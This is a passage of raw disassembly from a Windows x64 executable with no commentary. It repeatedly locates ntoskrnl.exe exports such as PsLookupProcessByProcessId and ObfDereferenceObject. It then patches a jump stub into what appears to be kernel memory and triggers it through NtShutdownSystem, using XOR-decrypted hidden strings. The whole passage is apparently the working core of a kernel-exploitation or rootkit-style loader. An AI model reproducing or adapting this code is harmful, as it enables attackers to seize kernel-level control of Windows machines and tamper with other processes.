call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
xor edx, edx
mov r8d, 0x2c8
lea rcx, [rbp + 0x6e0]
call sub.VCRUNTIME140.dll_memset
mov r9d, 0x2c8
lea r8, [rbp + 0x6e0]
mov rdx, rbx
lea rcx, [rbp + 0xc98]
call fcn.140004240
mov rdx, qword [rbp + 0x6f8]
test rdx, rdx
je 0x140009add
xorps xmm0, xmm0
movups xmmword [rbp + 0x590], xmm0
movups xmmword [rbp + 0x5a0], xmm0
movups xmmword [rbp + 0x5b0], xmm0
mov r9d, 0x30
lea r8, [rbp + 0x590]
lea rcx, [rbp + 0xc98]
call fcn.140004240
mov rbx, qword [rbp + 0x5b0]
test rbx, rbx
je 0x140009add
xorps xmm0, xmm0
movups xmmword [rbp + 0x530], xmm0
mov r9d, 0x10
lea r8, [rbp + 0x530]
mov rdx, rbx
lea rcx, [rbp + 0xc98]
call fcn.140004240
mov rax, qword [rbp + 0x530]
cmp rax, qword [rbp + 0x5b0]
je 0x1400096ed
nop dword [rax + rax]
test rax, rax
je 0x1400096ed
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x5c0], xmm0
movups xmmword [rbp + 0x5d0], xmm0
movups xmmword [rbp + 0x5e0], xmm0
movups xmmword [rbp + 0x5f0], xmm0
movups xmmword [rbp + 0x600], xmm0
movups xmmword [rbp + 0x610], xmm0
movups xmmword [rbp + 0x620], xmm0
movups xmmword [rbp + 0x630], xmm0
mov qword [rbp + 0x640], rax
lea rdx, [rbx - 0x10]
mov r9d, 0x88
lea r8, [rbp + 0x5c0]
lea rcx, [rbp + 0xc98]
call fcn.140004240
xor edx, edx
mov r8d, 0x200
lea rcx, [rbp + 0x16a0]
call sub.VCRUNTIME140.dll_memset
movzx eax, word [rbp + 0x618]
add rax, rax
mov r9d, 0x200
cmp rax, r9
cmovb r9, rax
lea r8, [rbp + 0x16a0]
mov rdx, qword [rbp + 0x620]
lea rcx, [rbp + 0xc98]
call fcn.140004240
lea rax, [rbp + 0x16a0]
lea r8, [rbp + 0x2e0]
sub r8, rax
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x1400096a4
add rax, 2
test ecx, ecx
jne 0x140009690
test edx, edx
je 0x140009be9
mov rbx, qword [rbp + 0x530]
xorps xmm0, xmm0
movups xmmword [rbp + 0x530], xmm0
mov r9d, 0x10
lea r8, [rbp + 0x530]
mov rdx, rbx
lea rcx, [rbp + 0xc98]
call fcn.140004240
mov rax, qword [rbp + 0x530]
cmp rax, qword [rbp + 0x5b0]
jne 0x1400095d0
mov rdi, qword [rbp + 0xcb0]
mov qword [rbp + 0x40], rdi
mov eax, dword [r13]
cmp dword [0x14001ada8], eax
jle 0x1400099a3
lea rcx, [0x14001ada8]
call fcn.140012308
cmp dword [0x14001ada8], 0xffffffff
jne 0x1400099a3
mov r13, r14
mov dword [rbp + 0x518], r14d
lea r9, [rbp + 0x518]
xor r8d, r8d
xor edx, edx
lea ecx, [rdx + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x14000979f
nop word [rax + rax]
xor edx, edx
mov r8d, 0x8000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x518]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r13, rax
lea r9, [rbp + 0x518]
mov r8d, dword [rbp + 0x518]
mov rdx, rax
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140009750
test eax, eax
js 0x140009970
mov eax, r14d
mov dword [rbp + 0x20], eax
cmp dword [r13], 0
jbe 0x140009970
nop dword [rax + rax]
mov qword [rbp + 0x48], rax
imul rcx, rax, 0x128
lea rbx, [rcx + r13]
movzx eax, word [rbx + 0x2e]
add rax, r13
lea rdx, [rcx + 0x30]
add rdx, rax
lea rcx, [rbp + 0xe50]
call fcn.14000e0d0
nop
lea rcx, [rbp + 0xe50]
call fcn.14000ea90
lea rdx, str.ntoskrnl.exe
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
jne 0x140009952
lea rdx, [rbx + 0x30]
lea rcx, [rbp + 0xdb0]
call fcn.14000e0d0
nop
lea rcx, str.SYSTEMROOT
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov rdx, rax
lea rcx, [rbp + 0x3e8]
call fcn.14000e0d0
nop
mov r8d, 1
lea rdx, [0x14001499c]
mov rcx, rax
call fcn.14000ea10
mov rdi, rax
xor r8d, r8d
lea rdx, str.SystemRoot_
lea rcx, [rbp + 0xdb0]
call fcn.14000de80
mov rsi, rax
mov rbx, qword [rdi + 0x10]
mov rcx, rdi
call fcn.14000ea90
mov qword [rsp + 0x20], rbx
mov r9, rax
mov r8d, 0xc
mov rdx, rsi
lea rcx, [rbp + 0xdb0]
call fcn.14000e700
nop
lea rcx, [rbp + 0x3e8]
call fcn.14000e070
lea rcx, [rbp + 0xdb0]
call fcn.14000ea90
xor edx, edx
lea r8d, [rdx + 1]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
mov eax, 0x5a4d
cmp word [rsi], ax
jne 0x14000b18b
movsxd rax, dword [rsi + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x14000b18b
mov ecx, dword [rax + rsi + 0x88]
test ecx, ecx
je 0x14000b18b
mov eax, ecx
mov r15d, dword [rcx + rsi + 0x1c]
lea rcx, [rsi + r15]
mov qword [rbp], rcx
mov r12d, dword [rax + rsi + 0x20]
add r12, rsi
mov eax, dword [rax + rsi + 0x24]
add rax, rsi
mov qword [rbp + 0x18], rax
mov edi, r14d
mov rbx, r14
test r15d, r15d
je 0x140009945
nop dword [rax]
mov edx, dword [r12 + rbx*4]
add rdx, rsi
lea rcx, str.ObfDereferenceObject
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x14000b13f
inc edi
inc rbx
cmp edi, r15d
jb 0x140009920
lea rcx, [rbp + 0xdb0]
call fcn.14000e070
nop
lea rcx, [rbp + 0xe50]
call fcn.14000e070
mov eax, dword [rbp + 0x20]
inc eax
mov dword [rbp + 0x20], eax
cmp eax, dword [r13]
jb 0x1400097c0
mov r8d, 0x8000
xor edx, edx
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rbx, r14
mov qword [0x14001ae28], rbx
lea rcx, [0x14001ada8]
call fcn.1400122a8
mov rdi, qword [rbp + 0x40]
mov rsi, qword [rbp + 0x38]
mov r13, qword [rbp + 0x30]
mov rbx, qword [0x14001ae28]
mov eax, dword [r13]
cmp dword [0x14001b010], eax
jle 0x1400099fb
lea rcx, [0x14001b010]
call fcn.140012308
cmp dword [0x14001b010], 0xffffffff
jne 0x1400099fb
lea rcx, [0x1400149e0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14001ad30], rax
lea rcx, [0x14001b010]
call fcn.1400122a8
mov eax, dword [r13]
cmp dword [0x14001ad20], eax
jle 0x140009a46
lea rcx, [0x14001ad20]
call fcn.140012308
cmp dword [0x14001ad20], 0xffffffff
jne 0x140009a46
mov edx, 2
lea rcx, [0x14001aec0]
call qword [sym.imp.MSVCP140.dll__Mtx_init_in_situ]
lea rcx, [0x140013ee0]
call fcn.140012650
lea rcx, [0x14001ad20]
call fcn.1400122a8
lea rcx, [0x14001aec0]
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
jne 0x14000c53f
mov dword [rbp + 0x15f0], 0x25ff
mov word [rbp + 0x15f4], ax
mov qword [rbp + 0x15f6], rbx
mov rdx, qword [0x14001ae20]
lea r9d, [rax + 0xe]
lea r8, [rbp + 0x1650]
mov rcx, rdi
call fcn.14000d0d0
mov rdx, qword [0x14001ae20]
mov r9d, 0xe
lea r8, [rbp + 0x15f0]
lea rcx, [rdi + 0x40]
call fcn.14000d0d0
mov rcx, rsi
call qword [0x14001ad30]
mov rdx, qword [0x14001ae20]
mov r9d, 0xe
lea r8, [rbp + 0x1650]
lea rcx, [rdi + 0x40]
call fcn.14000d0d0
lea rcx, [0x14001aec0]
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rdi, 0x8f62a5f520fc46b4
movabs rsi, 0x7656751b6e2b338a
movabs r15, 0x36576b561770e1c1
movabs r12, 0x4425f418f8262d8b
jmp 0x140008bec
mov rax, qword [rbp]
movzx eax, word [rax + rbx*2]
mov rcx, qword [rbp + 0x48]
mov ebx, dword [rcx + rax*4]
imul rax, qword [rbp + 0x40], 0x128
add rbx, qword [rax + r13 + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
lea rcx, [rbp + 0xd70]
call fcn.14000e070
nop
lea rcx, [rbp + 0xe10]
call fcn.14000e070
jmp 0x140008fb4
lea rcx, [rbp + 0xd70]
call fcn.14000e070
nop
lea rcx, [rbp + 0xe10]
call fcn.14000e070
jmp 0x140008fb1
mov rax, qword [rbp + 0x18]
movzx eax, word [rax + rbx*2]
mov rcx, qword [rbp]
mov ebx, dword [rcx + rax*4]
imul rax, qword [rbp + 0x48], 0x128
add rbx, qword [rax + r13 + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
lea rcx, [rbp + 0xd50]
call fcn.14000e070
nop
lea rcx, [rbp + 0xe30]
call fcn.14000e070
jmp 0x1400093b4
lea rcx, [rbp + 0xd50]
call fcn.14000e070
nop
lea rcx, [rbp + 0xe30]
call fcn.14000e070
jmp 0x1400093b1
mov rdi, qword [rbp + 0xcb0]
mov qword [rbp + 0x40], rdi
mov eax, dword [r13]
cmp dword [0x14001ada8], eax
jle 0x140009e93
lea rcx, [0x14001ada8]
call fcn.140012308
cmp dword [0x14001ada8], 0xffffffff
jne 0x140009e93
mov r13, r14
mov dword [rbp + 0x51c], r14d
lea r9, [rbp + 0x51c]
xor r8d, r8d
xor edx, edx
lea ecx, [rdx + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x140009c92
xor edx, edx
mov r8d, 0x8000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x51c]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r13, rax
lea r9, [rbp + 0x51c]
mov r8d, dword [rbp + 0x51c]
mov rdx, rax
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140009c43
test eax, eax
js 0x140009e60
mov eax, r14d
mov dword [rbp + 0x20], eax
cmp dword [r13], 0
jbe 0x140009e60
nop dword [rax + rax]
mov qword [rbp + 0x48], rax
imul rcx, rax, 0x128
lea rbx, [rcx + r13]
movzx eax, word [rbx + 0x2e]
add rax, r13
lea rdx, [rcx + 0x30]
add rdx, rax
lea rcx, [rbp + 0xef0]
call fcn.14000e0d0
nop
lea rcx, [rbp + 0xef0]
call fcn.14000ea90
lea rdx, str.ntoskrnl.exe
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
jne 0x140009e42
lea rdx, [rbx + 0x30]
lea rcx, [rbp + 0xd90]
call fcn.14000e0d0
nop
lea rcx, str.SYSTEMROOT
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov rdx, rax
lea rcx, [rbp + 0x448]
call fcn.14000e0d0
nop
mov r8d, 1
lea rdx, [0x14001499c]
mov rcx, rax
call fcn.14000ea10
mov rdi, rax
xor r8d, r8d
lea rdx, str.SystemRoot_
lea rcx, [rbp + 0xd90]
call fcn.14000de80
mov rsi, rax
mov rbx, qword [rdi + 0x10]
mov rcx, rdi
call fcn.14000ea90
mov qword [rsp + 0x20], rbx
mov r9, rax
mov r8d, 0xc
mov rdx, rsi
lea rcx, [rbp + 0xd90]
call fcn.14000e700
nop
lea rcx, [rbp + 0x448]
call fcn.14000e070
lea rcx, [rbp + 0xd90]
call fcn.14000ea90
xor edx, edx
lea r8d, [rdx + 1]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
mov eax, 0x5a4d
cmp word [rsi], ax
jne 0x14000b121
movsxd rax, dword [rsi + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x14000b121
mov ecx, dword [rax + rsi + 0x88]
test ecx, ecx
je 0x14000b121
mov eax, ecx
mov r15d, dword [rcx + rsi + 0x1c]
lea rcx, [rsi + r15]
mov qword [rbp], rcx
mov r12d, dword [rax + rsi + 0x20]
add r12, rsi
mov eax, dword [rax + rsi + 0x24]
add rax, rsi
mov qword [rbp + 0x18], rax
mov edi, r14d
mov rbx, r14
test r15d, r15d
je 0x140009e35
nop dword [rax]
mov edx, dword [r12 + rbx*4]
add rdx, rsi
lea rcx, str.ObfDereferenceObject
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x14000b0d5
inc edi
inc rbx
cmp edi, r15d
jb 0x140009e10
lea rcx, [rbp + 0xd90]
call fcn.14000e070
nop
lea rcx, [rbp + 0xef0]
call fcn.14000e070
mov eax, dword [rbp + 0x20]
inc eax
mov dword [rbp + 0x20], eax
cmp eax, dword [r13]
jb 0x140009cb0
mov r8d, 0x8000
xor edx, edx
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rbx, r14
mov qword [0x14001ae28], rbx
lea rcx, [0x14001ada8]
call fcn.1400122a8
mov rdi, qword [rbp + 0x40]
mov rsi, qword [rbp + 0x38]
mov r13, qword [rbp + 0x30]
mov rbx, qword [0x14001ae28]
mov eax, dword [r13]
cmp dword [0x14001b010], eax
jle 0x140009eeb
lea rcx, [0x14001b010]
call fcn.140012308
cmp dword [0x14001b010], 0xffffffff
jne 0x140009eeb
lea rcx, [0x1400149e0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14001ad30], rax
lea rcx, [0x14001b010]
call fcn.1400122a8
mov eax, dword [r13]
cmp dword [0x14001ad20], eax
jle 0x140009f30
lea rcx, [0x14001ad20]
call fcn.140012308
cmp dword [0x14001ad20], 0xffffffff
jne 0x140009f30
lea rcx, [0x14001aec0]
call fcn.140002270
lea rcx, [0x140013ee0]
call fcn.140012650
lea rcx, [0x14001ad20]
call fcn.1400122a8
lea rcx, [0x14001aec0]
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
jne 0x14000c536
mov dword [rbp + 0x15d0], 0x25ff
mov word [rbp + 0x15d4], ax
mov qword [rbp + 0x15d6], rbx
mov rdx, qword [0x14001ae20]
lea r9d, [rax + 0xe]
lea r8, [rbp + 0x1640]
mov rcx, rdi
call fcn.14000d0d0
mov rdx, qword [0x14001ae20]
mov r9d, 0xe
lea r8, [rbp + 0x15d0]
lea rcx, [rdi + 0x40]
call fcn.14000d0d0
mov rcx, rsi
call qword [0x14001ad30]
mov rdx, qword [0x14001ae20]
mov r9d, 0xe
lea r8, [rbp + 0x1640]
lea rcx, [rdi + 0x40]
call fcn.14000d0d0
lea rcx, [0x14001aec0]
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov rax, qword [rbp + 0x5f0]
mov qword [rbp], rax
test rax, rax
je 0x140009add
movabs rax, 0xb18aa1e005430acc
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x120], rax
movabs rax, 0xb2b421fe7839da7f
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x128], rax
movabs rax, 0x87a4b3a7b14cff5
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x130], rax
movabs rax, 0x76567f6b4b5303aa
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x138], rax
movabs rsi, 0xd2f9c8a4251e2197
mov qword [rbp + 0x18], rsi
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x14e0], rax
movabs r12, 0x84df4e91305da810
mov qword [rbp + 0x18], r12
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x14e8], rax
movabs rdi, 0x36576b561770e1c1
mov qword [rbp + 0x18], rdi
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x14f0], rax
movabs rbx, 0x7656751b6e2b338a
mov qword [rbp + 0x18], rbx
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x14f8], rax
vmovdqu ymm0, ymmword [rbp + 0x120]
vpxor ymm1, ymm0, ymmword [rbp + 0x14e0]
vmovdqa ymmword [rbp + 0x120], ymm1
mov rdx, qword [rbp + 0x5f0]
lea rcx, [rbp + 0x120]
vzeroupper
call fcn.140001260
movabs rax, 0x918abfcb417048c0
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x1c0], rax
movabs rax, 0xf3be1ce25338cc7f
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x1c8], rax
movabs rax, 0x36576b567b1c85ef
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x1d0], rax
mov qword [rbp + 0x18], rbx
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x1d8], rax
mov qword [rbp + 0x18], rsi
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x1500], rax
mov qword [rbp + 0x18], r12
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x1508], rax
mov qword [rbp + 0x18], rdi
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x1510], rax
mov qword [rbp + 0x18], rbx
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x1518], rax
vmovdqu ymm0, ymmword [rbp + 0x1c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1500]
vmovdqa ymmword [rbp + 0x1c0], ymm1
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0xcd0]
vzeroupper
call fcn.14000e0d0
nop
lea rcx, [rbp + 0xcd0]
cmp qword [rbp + 0xce8], 0x10
cmovae rcx, qword [rbp + 0xcd0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
movsxd rdi, dword [rax + 0x3c]
add rdi, rax
movzx eax, word [rdi + 0x14]
lea rsi, [rdi + 0x18]
add rsi, rax
mov qword [rbp + 0x48], rsi
mov ebx, r14d
cmp r14w, word [rdi + 6]
jae 0x14000a26f
movabs r15, 0xd2f9c8c5517f45b9
movabs r13, 0xd2f9c8a4251e2197
nop dword [rax + rax]
mov qword [rbp + 0x18], r15
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0x18], r12
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0xd8], rax
mov qword [rbp + 0x18], r13
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x1320], rax
mov qword [rbp + 0x18], r12
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x1328], rax
movdqa xmm0, xmmword [rbp + 0xd0]
pxor xmm0, xmmword [rbp + 0x1320]
movdqa xmmword [rbp + 0xd0], xmm0
lea rdx, [rbp + 0xd0]
mov rcx, rsi
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x14000a267
inc ebx
add rsi, 0x28
movzx eax, word [rdi + 6]
cmp ebx, eax
jl 0x14000a1f0
mov qword [rbp + 0x48], rsi
mov r13, qword [rbp + 0x30]
lea r8, [rbp + 0xcd0]
cmp qword [rbp + 0xce8], 0x10
cmovae r8, qword [rbp + 0xcd0]
mov rdx, qword [rbp + 0x5f0]
lea rcx, [rbp + 0xc98]
call fcn.140004e70
nop dword [rax]
lea rdx, [rbp + 0x320]
lea rcx, [rbp + 0xcd0]
call fcn.14000df90
mov rbx, qword [rax]
lea rdx, [rbp + 0x328]
lea rcx, [rbp + 0xcd0]
call fcn.14000dfb0
lea r9, [rbp + 0x60]
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0x4c8]
call fcn.14000ecc0
mov qword [rbp + 0x40], rax
cmp qword [rax + 0x18], 8
jb 0x14000a2f1
mov rax, qword [rax]
mov qword [rbp + 0x40], rax
mov rdi, qword [rbp + 0xcb0]
mov qword [rbp + 8], rdi
mov esi, dword [rbp + 0xca0]
mov dword [rbp + 0x38], esi
mov ecx, dword [r13]
cmp dword [0x14001af90], ecx
jle 0x14000a5a2
lea rcx, [0x14001af90]
call fcn.140012308
cmp dword [0x14001af90], 0xffffffff
jne 0x14000a5a2
mov r13, r14
mov dword [rbp + 0x528], r14d
lea r9, [rbp + 0x528]
xor r8d, r8d
xor edx, edx
lea ecx, [rdx + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x14000a3a3
xor edx, edx
mov r8d, 0x8000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x528]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r13, rax
lea r9, [rbp + 0x528]
mov r8d, dword [rbp + 0x528]
mov rdx, rax
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x14000a354
test eax, eax
js 0x14000a570
mov eax, r14d
mov dword [rbp + 0x20], eax
cmp dword [r13], 0
jbe 0x14000a570
nop dword [rax]
mov qword [rbp + 0x58], rax
imul rcx, rax, 0x128
lea rbx, [rcx + r13]
movzx eax, word [rbx + 0x2e]
add rax, r13
lea rdx, [rcx + 0x30]
add rdx, rax
lea rcx, [rbp + 0xe70]
call fcn.14000e0d0
nop
lea rcx, [rbp + 0xe70]
call fcn.14000ea90
lea rdx, str.ntoskrnl.exe
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
jne 0x14000a552
lea rdx, [rbx + 0x30]
lea rcx, [rbp + 0xdf0]
call fcn.14000e0d0
nop
lea rcx, str.SYSTEMROOT
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov rdx, rax
lea rcx, [rbp + 0x3c8]
call fcn.14000e0d0
nop
mov r8d, 1
lea rdx, [0x14001499c]
mov rcx, rax
call fcn.14000ea10
mov rdi, rax
xor r8d, r8d
lea rdx, str.SystemRoot_
lea rcx, [rbp + 0xdf0]
call fcn.14000de80
mov rsi, rax
mov rbx, qword [rdi + 0x10]
mov rcx, rdi
call fcn.14000ea90
mov qword [rsp + 0x20], rbx
mov r9, rax
mov r8d, 0xc
mov rdx, rsi
lea rcx, [rbp + 0xdf0]
call fcn.14000e700
nop
lea rcx, [rbp + 0x3c8]
call fcn.14000e070
lea rcx, [rbp + 0xdf0]
call fcn.14000ea90
xor edx, edx
lea r8d, [rdx + 1]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
mov eax, 0x5a4d
cmp word [rsi], ax
jne 0x14000b1f5
movsxd rax, dword [rsi + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x14000b1f5
mov ecx, dword [rax + rsi + 0x88]
test ecx, ecx
je 0x14000b1f5
mov eax, ecx
mov r15d, dword [rcx + rsi + 0x1c]
lea rcx, [rsi + r15]
mov qword [rbp + 0x50], rcx
mov r12d, dword [rax + rsi + 0x20]
add r12, rsi
mov eax, dword [rax + rsi + 0x24]
add rax, rsi
mov qword [rbp + 0x18], rax
mov edi, r14d
mov rbx, r14
test r15d, r15d
je 0x14000a545
nop dword [rax]
mov edx, dword [r12 + rbx*4]
add rdx, rsi
lea rcx, str.PsLookupProcessByProcessId
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x14000b1a9
inc edi
inc rbx
cmp edi, r15d
jb 0x14000a520
lea rcx, [rbp + 0xdf0]
call fcn.14000e070
nop
lea rcx, [rbp + 0xe70]
call fcn.14000e070
mov eax, dword [rbp + 0x20]
inc eax
mov dword [rbp + 0x20], eax
cmp eax, dword [r13]
jb 0x14000a3c0
mov r8d, 0x8000
xor edx, edx
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rbx, r14
mov qword [0x14001afb0], rbx
lea rcx, [0x14001af90]
call fcn.1400122a8
mov rdi, qword [rbp + 8]
mov esi, dword [rbp + 0x38]
mov r13, qword [rbp + 0x30]
mov qword [rbp + 0x550], r14
mov rbx, qword [0x14001afb0]
mov eax, dword [r13]
cmp dword [0x14001b018], eax
jle 0x14000a601
lea rcx, [0x14001b018]
call fcn.140012308
cmp dword [0x14001b018], 0xffffffff
jne 0x14000a601
lea rcx, [0x1400149e0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14001ada0], rax
lea rcx, [0x14001b018]
call fcn.1400122a8
mov eax, dword [r13]
cmp dword [0x14001afa8], eax
jle 0x14000a646
lea rcx, [0x14001afa8]
call fcn.140012308
cmp dword [0x14001afa8], 0xffffffff
jne 0x14000a646
lea rcx, [0x14001ae50]
call fcn.140002270
lea rcx, [0x140013f00]
call fcn.140012650
lea rcx, [0x14001afa8]
call fcn.1400122a8
lea rcx, [0x14001ae50]
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
jne 0x14000c52d
mov dword [rbp + 0x15e0], 0x25ff
mov word [rbp + 0x15e4], ax
mov qword [rbp + 0x15e6], rbx
mov rdx, qword [0x14001ae20]
lea r9d, [rax + 0xe]
lea r8, [rbp + 0x1680]
mov rcx, rdi
call fcn.14000d0d0
mov rdx, qword [0x14001ae20]
mov r9d, 0xe
lea r8, [rbp + 0x15e0]
lea rcx, [rdi + 0x40]
call fcn.14000d0d0
mov ecx, esi
lea rdx, [rbp + 0x550]
call qword [0x14001ada0]
mov rdx, qword [0x14001ae20]
mov r9d, 0xe
lea r8, [rbp + 0x1680]
lea rcx, [rdi + 0x40]
call fcn.14000d0d0
lea rcx, [0x14001ae50]
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov rsi, qword [rbp + 0x550]
mov qword [rbp + 0x38], rsi
mov rdi, qword [rbp + 0xcb0]
mov qword [rbp + 0x18], rdi
mov eax, dword [r13]
cmp dword [0x14001aea0], eax
jle 0x14000a9a3
lea rcx, [0x14001aea0]
call fcn.140012308
cmp dword [0x14001aea0], 0xffffffff
jne 0x14000a9a3
mov r13, r14
mov dword [rbp + 0x514], r14d
lea r9, [rbp + 0x514]
xor r8d, r8d
xor edx, edx
lea ecx, [rdx + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x14000a79f
nop dword [rax + rax]
xor edx, edx
mov r8d, 0x8000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x514]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r13, rax
lea r9, [rbp + 0x514]
mov r8d, dword [rbp + 0x514]
mov rdx, rax
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x14000a750
test eax, eax
js 0x14000a970
mov eax, r14d
mov dword [rbp + 0x20], eax
cmp dword [r13], 0
jbe 0x14000a970
nop dword [rax + rax]
mov qword [rbp + 0x50], rax
imul rcx, rax, 0x128
lea rbx, [rcx + r13]
movzx eax, word [rbx + 0x2e]
add rax, r13
lea rdx, [rcx + 0x30]
add rdx, rax
lea rcx, [rbp + 0xe90]
call fcn.14000e0d0
nop
lea rcx, [rbp + 0xe90]
call fcn.14000ea90
lea rdx, str.ntoskrnl.exe
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
jne 0x14000a952
lea rdx, [rbx + 0x30]
lea rcx, [rbp + 0xdd0]
call fcn.14000e0d0
nop
lea rcx, str.SYSTEMROOT
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov rdx, rax
lea rcx, [rbp + 0x3a8]
call fcn.14000e0d0
nop
mov r8d, 1
lea rdx, [0x14001499c]
mov rcx, rax
call fcn.14000ea10
mov rdi, rax
xor r8d, r8d
lea rdx, str.SystemRoot_
lea rcx, [rbp + 0xdd0]
call fcn.14000de80
mov rsi, rax
mov rbx, qword [rdi + 0x10]
mov rcx, rdi
call fcn.14000ea90
mov qword [rsp + 0x20], rbx
mov r9, rax
mov r8d, 0xc
mov rdx, rsi
lea rcx, [rbp + 0xdd0]
call fcn.14000e700
nop
lea rcx, [rbp + 0x3a8]
call fcn.14000e070
lea rcx, [rbp + 0xdd0]
call fcn.14000ea90
xor edx, edx
lea r8d, [rdx + 1]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
mov eax, 0x5a4d
cmp word [rsi], ax
jne 0x14000b25f
movsxd rax, dword [rsi + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x14000b25f
